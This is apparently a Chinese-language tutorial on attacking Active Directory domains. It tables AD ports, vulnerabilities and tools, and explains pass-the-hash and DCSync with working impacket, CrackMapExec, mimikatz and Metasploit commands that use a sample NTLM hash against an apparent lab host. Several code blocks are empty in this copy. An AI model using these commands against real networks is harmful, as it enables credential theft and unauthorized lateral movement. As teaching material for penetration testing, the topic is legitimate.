域渗透基础
域基础知识
域常见常见协议/服务
| 协议/服务 | 默认端口 | 核心作用 |
|---|---|---|
| DNS | 53/TCP, UDP | 域名解析、服务定位、记录查询 |
| HTTP(S) | 80/TCP;443/TCP | Web服务、API、ADFS等 |
| Kerberos | 88/TCP, UDP | 域认证协议,票据机制 |
| NTP | 123/UDP | 时间同步 |
| MS-RPC | 135/TCP + 动态高位端口 | Windows 远程过程调用基础框架,WMI/DCOM |
| NetBIOS | 137/UDP, 138/UDP, 139/TCP | 旧式名称解析、会话与共享支持 |
| LDAP(S) | 389/TCP, UDP;636/TCP | 目录服务协议,管理用户、组、计算机等目录对象 |
| SMB/CIFS | 445/TCP;139/TCP 为兼容场景 | 文件共享、命名管道、IPC 通信 |
| MSSQL | 1433/TCP;1434/UDP 常见 | 数据库服务 |
| Global Catalog(S) | 3268/TCP;3269/TCP | 林范围目录检索 |
| RDP | 3389/TCP | 远程桌面协议 |
| WinRM | 5985/TCP;5986/TCP | 远程管理协议,PowerShell远程控制 |
Active Directory 端口、服务、漏洞及工具
- 端口 53(DNS)
- 漏洞:DNS 缓存投毒、DNS 放大攻击、域成员定位、域控发现、数据外带等
- 工具:nslookup,dig,dnsenum,Fierce,dnsrecon,dnstracer
- 端口 88(Kerberos)
- 漏洞:AS-REP Roasting、票据伪造、票据传递、Silver Ticket 攻击、Golden Ticket 攻击
- 工具:impacket,Rubeus,Kerbrute,Hashcat,GetUserSPN,mitm6
- 端口 135(MS-RPC)
- 漏洞:DCOM 利用、MS-RPC 权限提升
- 工具:rpcclient,Metasploit,NMap,PowerSploit,NetExec(CrackMapExec),Evil-WinRM
- 端口 137-139(NetBIOS)
- 漏洞:SMB 中继、NTLM 中继、NetBIOS 欺骗
- 工具:smbclient,Responder,impacket,NMap,NetExec(CrackMapExec)
- 端口 389(LDAP)
- 漏洞:LDAP 注入、凭证收集、匿名绑定
- 工具:ldapsearch,NMap,ldapdomaindump,NetExec(CrackMapExec),BloodHound,ADExplorer,Certipy
- 端口 445(SMB)
- 漏洞:EternalBlue、SMB 中继、SMB 签名未启用、哈希传递
- 工具:smbclient,impacket,NMap,NetExec(CrackMapExec),Metasploit,smbmap
- 端口 464(Kerberos 密码更改)
- 漏洞:Kerberoasting、密码喷洒
- 工具:impacket,Rubeus,Kerbrute,Hashcat,KrbRelayUp
- 端口 593(HTTP RPC)
- 漏洞:认证绕过、MS-RPC 注入
- 工具:rpcclient,Metasploit,NMap,PowerSploit,Evil-WinRM,NetExec(CrackMapExec)
- 端口 636(LDAPS)
- 漏洞:LDAP 注入、证书伪造
- 工具:ldapsearch,NMap,NetExec(CrackMapExec),BloodHound,ADExplorer
- 端口 3268-3269(Global Catalog)
- 漏洞:LDAP 注入、数据泄漏
- 工具:ldapsearch,NMap,NetExec(CrackMapExec),BloodHound,ADExplorer
- 端口 3389(RDP)
- 漏洞:BlueKeep、弱加密、RDP 劫持、凭证转发
- 工具:ncrack,xfreerdp,Metasploit,NetExec(CrackMapExec),rdpscan
- 端口 5985-5986(WinRM)
- 漏洞:凭证窃取、哈希传递、非约束性委派
- 工具:Evil-WinRM,Impacket,NetExec(CrackMapExec),Metasploit,PowerView
参考:pentest/notes/AllAboutPentesting.md at main · ZishanAdThandar/pentest
协议对比
WMI/DCOM/MS-RPC
一句话概括:
WMI 远程管理通常依赖 DCOM,而 DCOM 又依赖 MS-RPC。
MS-RPC
MS-RPC = Microsoft Remote Procedure Call。
它本质上是一套让一台机器调用另一台机器上“函数/过程”的通信机制,是很多 Windows 远程管理能力的基础设施。你可以把它理解成“底层通道/调用框架”。
DCOM
DCOM = Distributed Component Object Model。
它本质上是COM 的分布式版本,用来让程序远程调用另一台机器上的 COM 对象
而 DCOM 的远程通信不是自己重新发明一套协议,它通常就是跑在 RPC 之上。
可以粗略理解成:RPC 解决“怎么远程调”,DCOM 解决“怎么远程调对象组件”
WMI
WMI = Windows Management Instrumentation。
它本质上是Windows 提供的一套系统管理框架,可以查询和管理进程、服务、网络配置、计划任务、补丁、硬件信息、事件日志等等
WMI 本身更像“管理接口/数据模型”。重点是:本地调用 WMI 不一定涉及网络,远程调用 WMI 时,传统方式通常使用 DCOM,所以远程 WMI 又会继续落到 RPC
也就是:WMI → DCOM → MS-RPC
三者的关系图
1 | |
或者更形象一点:
1 | |
SMB、WMI
SMB(Server Message Block)
SMB 就像是“局域网文件快递员”
它是Windows电脑之间传文件、共享打印机、远程管理的一种“快递协议”。如果你在公司电脑上输入
\\共享电脑\共享文件夹,其实就是用的SMB协议。黑客渗透时常用这个“快递员”来远程投递木马、执行命令(比如psexec、smbexec等)。例子:你在公司电脑A上访问电脑B的共享文件夹,就是SMB在帮你传送文件。
WMI(Windows Management Instrumentation)
WMI 就像是“Windows的万能遥控器”
它让你可以用命令远程控制Windows电脑,比如开关服务、查进程、执行命令等。管理员和运维可以批量用WMI查看电脑状态,黑客可以用它偷偷远程下指令,而且一般不会在目标电脑上留下“文件痕迹”。WMI背后其实是靠DCOM/RPC协议实现的。
例子:你在一台电脑用WMI命令让另一台电脑重启,这就是WMI的“远程遥控”能力。
由此,再主要区分一下smbexec.py与wmiexec.py:
| 工具 | 协议/原理 | 留痕 | 适用性 | 回显方式 | 典型用途 |
|---|---|---|---|---|---|
| smbexec.py | SMB+服务 | 有 | 广 | 文件 | 横向、持久化 |
| wmiexec.py | WMI接口 | 少 | 稍低 | 命名管道 | 横向、隐蔽 |
smbexec适合常规横向批量打点,wmiexec适合目标环境安全策略较高或需低留痕场景。
PTH
原理
Pass-the-Hash(PTH,哈希传递攻击)是一种经典的内网横向技术,攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码
pass the hash原理:
- 在Windows系统中,通常会使用NTLM身份认证
- NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
- hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash
- 如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)
这类攻击适用于:
- 域/工作组环境
- 可以获得hash,但是条件不允许对hash爆破
- 内网中存在和当前机器相同的密码
微软也对pth打过补丁,然而在测试中发现,在打了补丁后,常规的Pass The Hash已经无法成功,唯独默认的Administrator(SID 500)账号例外,利用这个账号仍可以进行Pass The Hash远程ipc连接。
PTH攻击核心前提是目标服务未禁用NTLM认证。如果禁用了ntlm认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。
在现在的Windows系统中,通常使用NTLM身份认证,LM Hash一般在很老的机器上才会使用

利用
获取hash
有很多种方式,这里列举两种
方法一:使用 mimikatz 获取hash(最常用)
1 | |
方法二:使用 Metasploit 获取hash
首先需要先获取到一个session
1 | |
creds_all 是 Meterpreter kiwi 扩展里的“总抓取”命令。它会自动调用 Mimikatz 的多个模块和命令,不仅仅是sekurlsa::logonpasswords,包括了如下内容:
- sekurlsa::logonpasswords(抓内存中已登录用户的明文密码、hash、票据等)
- lsadump::sam(本地用户的 NTLM hash)
- lsadump::secrets(本地机密、服务密码等)
- kerberos::list(Kerberos 票据)
- 其他如 RDP、Wdigest、DPAPI 等相关凭据抓取
使用hash
PTH的常见工具/方式
| 工具/方式 | 协议 | 说明/用途 |
|---|---|---|
| psexec.py | SMB | 经典横向,模拟PSEXEC,落地文件 |
| smbexec.py | SMB | 类似psexec,落地文件但更隐蔽 |
| wmiexec.py | WMI/DCOM | 无文件落地,适合隐蔽 |
| atexec.py | SMB/AT服务 | 利用计划任务at命令,落地文件 |
| dcomexec.py | DCOM | 利用Dcom对象远控(如MMC、Shell),无文件落地 |
| CrackMapExec | SMB/WMI/WinRM等 | 多合一横向打击,支持PTH(WinRM需明文/票据) |
impacket 工具集
Kali内置了impacket 工具集,这里我pipx又安装了一遍,所以有两种命令
smbexec:类似psexec,上传脚本到共享后执行,支持PTH。(需要445或139端口开放)
1
2smbexec.py -hashes :<NTLM_HASH> [domain/]username@target
proxychains4 impacket-smbexec -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.7psexec:利用SMB协议模拟PSEXEC机制(上传批处理脚本并通过服务执行),最常用的PTH横向工具。(需要445或139端口开放)
1
2psexec.py -hashes :<NTLM_HASH> [domain/]username@target
proxychains4 impacket-psexec -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.7atexec:通过计划任务AT命令远程执行,支持PTH。(需要445或139端口开放,这个必须带上命令,类似CrackMapExec,单命令执行)
1
2atexec.py -hashes :<NTLM_HASH> [domain/]username@target command
proxychains4 impacket-atexec -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.7 whoamiwmiexec:利用WMI/DCOM接口,较隐蔽,不落地文件,支持PTH。 ( 需要135端口开放)
1
2wmiexec.py -hashes :<NTLM_HASH> [domain/]username@target
proxychains4 impacket-wmiexec -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.7dcomexec:通过多种DCOM对象远程执行(如MMC、Shell),支持PTH。这里没试成,报 CO_E_RUNAS_LOGON_FAILURE。(需要135端口开放,如果报 CO_E_RUNAS_LOGON_FAILURE,多半是 Windows/组策略/DCOM配置限制)
1
2dcomexec.py -hashes :<NTLM_HASH> [domain/]username@target
proxychains4 impacket-dcomexec -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.7smbclient (需要445或139端口开放)
1
2smbclient.py -hashes :<NTLM_HASH> [domain/]username@target
proxychains4 impacket-smbclient -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.7CrackMapExec(CME)
多合一横向工具,支持批量横向和模块化利用,对SMB/WMI/WinRM等接口都可尝试。
1
2
3
4
5# crackmapexec smb target -u username -H <NTLM_HASH> -d domain -x "whoami"
proxychains crackmapexec smb 172.22.9.7 -u administrator -H 2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type c:\users\administrator\flag\flag.txt"
# nxc smb 172.22.9.7 -u administrator -p pass -x whoami
# crackmapexec wmi 172.22.9.7 -u administrator -p pass -x "whoami"
# crackmapexec winrm 172.22.9.7 -u administrator -p pass -x "ipconfig"mimikatz.exe
msf上有这个工具的插件,
load kiwi就行mimikatz sekurlsa::pth:本地伪造登录会话,直接用NTLM hash生成新会话(可配合runas、RDP、winrm等)。1
2
3# sekurlsa::pth /user:administrator /domain:xxx /ntlm:<NTLM_HASH>
privilege::debug
sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455cmimikatz的pth功能需要本地管理员权限,这是由它的实现机制决定的,需要先获得高权限进程lsass.exe的信息
对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NT hash
C2内置
Metasploit模块:包含psexec/smb/WMIRemoteCommand等模块,都支持PTH。
1
2
3
4
5
6
7
8use exploit/windows/smb/psexec
set RHOSTS 172.22.9.7
set SMBUser administrator
set SMBPass 00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80
set SMBDomain xiaorang.lab
set PAYLOAD windows/x64/meterpreter/bind_tcp
set LPORT 54526
runCS等内置PTH横向模块,可利用NTLM hash远控或横向。
参考文章:
DCsync
什么是 DCSync
DCSync 是一种利用微软AD协议(MS-DRSR)“模拟域控制器行为”,从域控制器同步账户哈希(包括krbtgt、管理员等敏感账户hash)的攻击技术。
我们先讲点前置知识:
默认情况下,域内不同域控(DC)每隔15分钟会进行一次数据同步。当有新的域控加入时,它也会向其他域控发起同步请求,根据需要同步数据的多少可能多次进行。
DCSync的原理就是利用域控制器之间的数据同步复制,通过目录复制服务(Directory Replication Service,DRS)的GetNCChanges接口向域控发起数据同步请求,以获得指定域控上的活动目录数据。目录复制服务也是一种用于在活动目录中复制和管理数据的RPC协议,该协议由两个RPC接口组成,分别是drsuapi和dsaop。
通俗易懂的讲,DCSync就是“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据。
由于这种攻击利用了Windows RPC协议,并不需要登陆域控或者在域控上落地文件,避免触发EDR告警,因此DCSync时一种非常隐蔽的凭据窃取方式。它常用在横向渗透和提权场景,工具如 mimikatz 提供了 lsadump::dcsync 命令实现该功能(DCSync是mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,能够用来导出域内所有用户的hash)
利用条件
在默认情况下,只有
Domain Admins(域管理员)
Enterprise Admins(企业管理员,林级,通常也会在各域具备相应能力)
Administrators(内置本地/域 Administrators 组,通过组嵌套/默认 ACL 往往具备等效能力)
Domain Controllers(域控制器计算机账户所在的组/主体,即 Domain Controllers 组里的各 DC 的计算机账户)
Read-only Domain Controllers(如存在 RODC相关主体,具体取决于部署,但 RODC/复制拓扑相关主体通常也会有对应复制所需的权限集合)
等高权限账户才有DCSync操作的权限,从更细粒度的ACL层面来说,DCSync需要以下两个权限
- 目录复制同步(Replicating Directory Changes)
- 目录复制同步所有项(Replicating Directory Changes All)
所以我们可以对域内普通用户添加 ACL (Access Control List) 实现普通用户也能调用 DCSync 功能。
注意:DCSync 攻击的对象如果是只读域控制器 (RODC),则会失效,因为 RODC 是不能参与复制同步数据到其他 DC 的。
我们以fscan的扫描结果为例
1 | |
可以看到我们这台机子是 enterprise 用户,也就是说满足 DCSync 攻击的条件
打法
尝试DCysnc获取哈希
1 | |
然后可以PTH或者制作黄金票据
参考文章: